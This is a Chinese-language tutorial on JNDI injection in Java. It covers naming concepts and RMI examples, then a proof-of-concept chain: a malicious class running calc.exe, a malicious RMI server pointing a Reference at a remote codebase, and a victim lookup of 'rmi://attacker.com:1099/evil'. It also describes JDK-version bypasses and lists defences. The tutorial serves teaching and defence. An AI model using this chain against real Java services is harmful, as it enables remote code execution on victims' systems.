JNDI注入详解
字数 1659 2025-08-11 17:40:32

JNDI注入攻击详解

1. JNDI基础概念

JNDI (Java Naming and Directory Interface) 是Java命名与目录接口,是J2EE规范中的重要组成部分。它提供了一种统一的方式来访问各种命名和目录服务,包括:

  • JDBC (Java数据库连接)
  • LDAP (轻量级目录访问协议)
  • RMI (远程方法调用)
  • NIS (网络信息服务)
  • CORBA (公共对象请求代理体系结构)

核心概念

  1. Naming Service (命名服务):将名称与对象关联,提供通过名称查找对象的操作(如DNS系统)
  2. Name (名称):用于标识对象的可读名称(如文件名、机器名)
  3. Binding (绑定):名称与对象的关联关系(如文件名绑定到文件)
  4. Reference (引用):不直接存储对象,而是存储如何访问实际对象的信息
  5. Context (上下文):一系列名称-对象绑定的集合,提供查找、绑定等操作

2. JNDI调用机制

JNDI调用涉及三个部分:

  1. Client:发起请求的客户端
  2. RMI Registry:注册中心(默认端口1099)
  3. Server:实际提供服务的远程对象

调用流程:

  1. 客户端访问注册端口请求服务
  2. 注册端口返回服务信息
  3. 客户端启动新端口访问实际服务

3. JNDI编程实现

基本JNDI操作

JNDI提供两个关键方法:

  • bind():将名称绑定到对象
  • lookup():通过名称查找对象(参数可控时可能导致漏洞)

RMI服务示例

  1. 定义接口
public interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}
  1. 实现接口
public class IHelloImpl extends UnicastRemoteObject implements IHello {
    public String sayHello(String name) throws RemoteException {
        return "Hello " + name;
    }
}
  1. 创建RMI服务
Registry registry = LocateRegistry.createRegistry(1099);
IHello hello = new IHelloImpl();
registry.bind("hello", hello);
  1. 客户端调用
Context ctx = new InitialContext();
IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");
System.out.println(rhello.sayHello("axin"));

4. JNDI Naming Reference

Java允许通过Reference将对象存储在命名服务中。Reference包含:

  • className:远程加载时使用的类名
  • classFactory:需要实例化的类名
  • classFactoryLocation:远程加载类的地址(支持file/ftp/http等协议)

当客户端lookup()查找Reference对象时:

  1. 获取对应的Object Factory
  2. 通过factory将reference转换为具体对象实例
  3. 在此过程中会调用:
    • 静态代码块
    • 代码块
    • 无参构造函数
    • getObjectInstance方法

5. JNDI注入攻击原理

攻击条件

  1. 客户端的lookup()方法参数可控
  2. 服务端使用Reference时,classFactoryLocation参数可控

攻击流程

  1. 攻击者控制客户端lookup()的URI参数指向恶意RMI服务
  2. 恶意RMI服务器返回一个精心构造的Reference对象
  3. 客户端动态加载并实例化指定的Factory类
  4. Factory类中的恶意代码被执行

恶意类示例

public class EvilObj {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) { e.printStackTrace(); }
    }
}

恶意RMI服务端

Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);

受害者客户端

Context context = new InitialContext();
context.lookup("rmi://attacker.com:1099/evil");

6. JDK版本限制与绕过

版本限制

  • JDK 6u141/7u131/8u121之后com.sun.jndi.rmi.object.trustURLCodebase默认为false,禁用RMI/CORBA远程codebase
  • JDK 6u211/7u201/8u191之后com.sun.jndi.ldap.object.trustURLCodebase默认为false,禁用LDAP远程codebase

绕过方法

  1. 加载本地工厂类:利用目标环境中已存在的恶意工厂类
  2. 本地反序列化链:利用目标环境中的反序列化漏洞

7. 防御措施

  1. 升级JDK到最新安全版本
  2. 避免将用户输入直接传递给InitialContext.lookup()
  3. 对JNDI查找参数进行严格过滤和验证
  4. 设置系统属性限制远程codebase加载:
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    

8. 总结

JNDI注入是一种严重的Java安全漏洞,攻击者可以通过控制lookup参数或Reference工厂类位置,导致远程代码执行。理解其原理和利用条件对于开发和防御都至关重要,特别是在处理用户输入与JNDI交互的场景中需要格外谨慎。

JNDI注入攻击详解 1. JNDI基础概念 JNDI (Java Naming and Directory Interface) 是Java命名与目录接口,是J2EE规范中的重要组成部分。它提供了一种统一的方式来访问各种命名和目录服务,包括: JDBC (Java数据库连接) LDAP (轻量级目录访问协议) RMI (远程方法调用) NIS (网络信息服务) CORBA (公共对象请求代理体系结构) 核心概念 Naming Service (命名服务) :将名称与对象关联,提供通过名称查找对象的操作(如DNS系统) Name (名称) :用于标识对象的可读名称(如文件名、机器名) Binding (绑定) :名称与对象的关联关系(如文件名绑定到文件) Reference (引用) :不直接存储对象,而是存储如何访问实际对象的信息 Context (上下文) :一系列名称-对象绑定的集合,提供查找、绑定等操作 2. JNDI调用机制 JNDI调用涉及三个部分: Client :发起请求的客户端 RMI Registry :注册中心(默认端口1099) Server :实际提供服务的远程对象 调用流程: 客户端访问注册端口请求服务 注册端口返回服务信息 客户端启动新端口访问实际服务 3. JNDI编程实现 基本JNDI操作 JNDI提供两个关键方法: bind() :将名称绑定到对象 lookup() :通过名称查找对象(参数可控时可能导致漏洞) RMI服务示例 定义接口 : 实现接口 : 创建RMI服务 : 客户端调用 : 4. JNDI Naming Reference Java允许通过Reference将对象存储在命名服务中。Reference包含: className :远程加载时使用的类名 classFactory :需要实例化的类名 classFactoryLocation :远程加载类的地址(支持file/ftp/http等协议) 当客户端lookup()查找Reference对象时: 获取对应的Object Factory 通过factory将reference转换为具体对象实例 在此过程中会调用: 静态代码块 代码块 无参构造函数 getObjectInstance方法 5. JNDI注入攻击原理 攻击条件 客户端的 lookup() 方法参数可控 服务端使用Reference时, classFactoryLocation 参数可控 攻击流程 攻击者控制客户端lookup()的URI参数指向恶意RMI服务 恶意RMI服务器返回一个精心构造的Reference对象 客户端动态加载并实例化指定的Factory类 Factory类中的恶意代码被执行 恶意类示例 恶意RMI服务端 受害者客户端 6. JDK版本限制与绕过 版本限制 JDK 6u141/7u131/8u121之后 : com.sun.jndi.rmi.object.trustURLCodebase 默认为false,禁用RMI/CORBA远程codebase JDK 6u211/7u201/8u191之后 : com.sun.jndi.ldap.object.trustURLCodebase 默认为false,禁用LDAP远程codebase 绕过方法 加载本地工厂类 :利用目标环境中已存在的恶意工厂类 本地反序列化链 :利用目标环境中的反序列化漏洞 7. 防御措施 升级JDK到最新安全版本 避免将用户输入直接传递给 InitialContext.lookup() 对JNDI查找参数进行严格过滤和验证 设置系统属性限制远程codebase加载: 8. 总结 JNDI注入是一种严重的Java安全漏洞,攻击者可以通过控制lookup参数或Reference工厂类位置,导致远程代码执行。理解其原理和利用条件对于开发和防御都至关重要,特别是在处理用户输入与JNDI交互的场景中需要格外谨慎。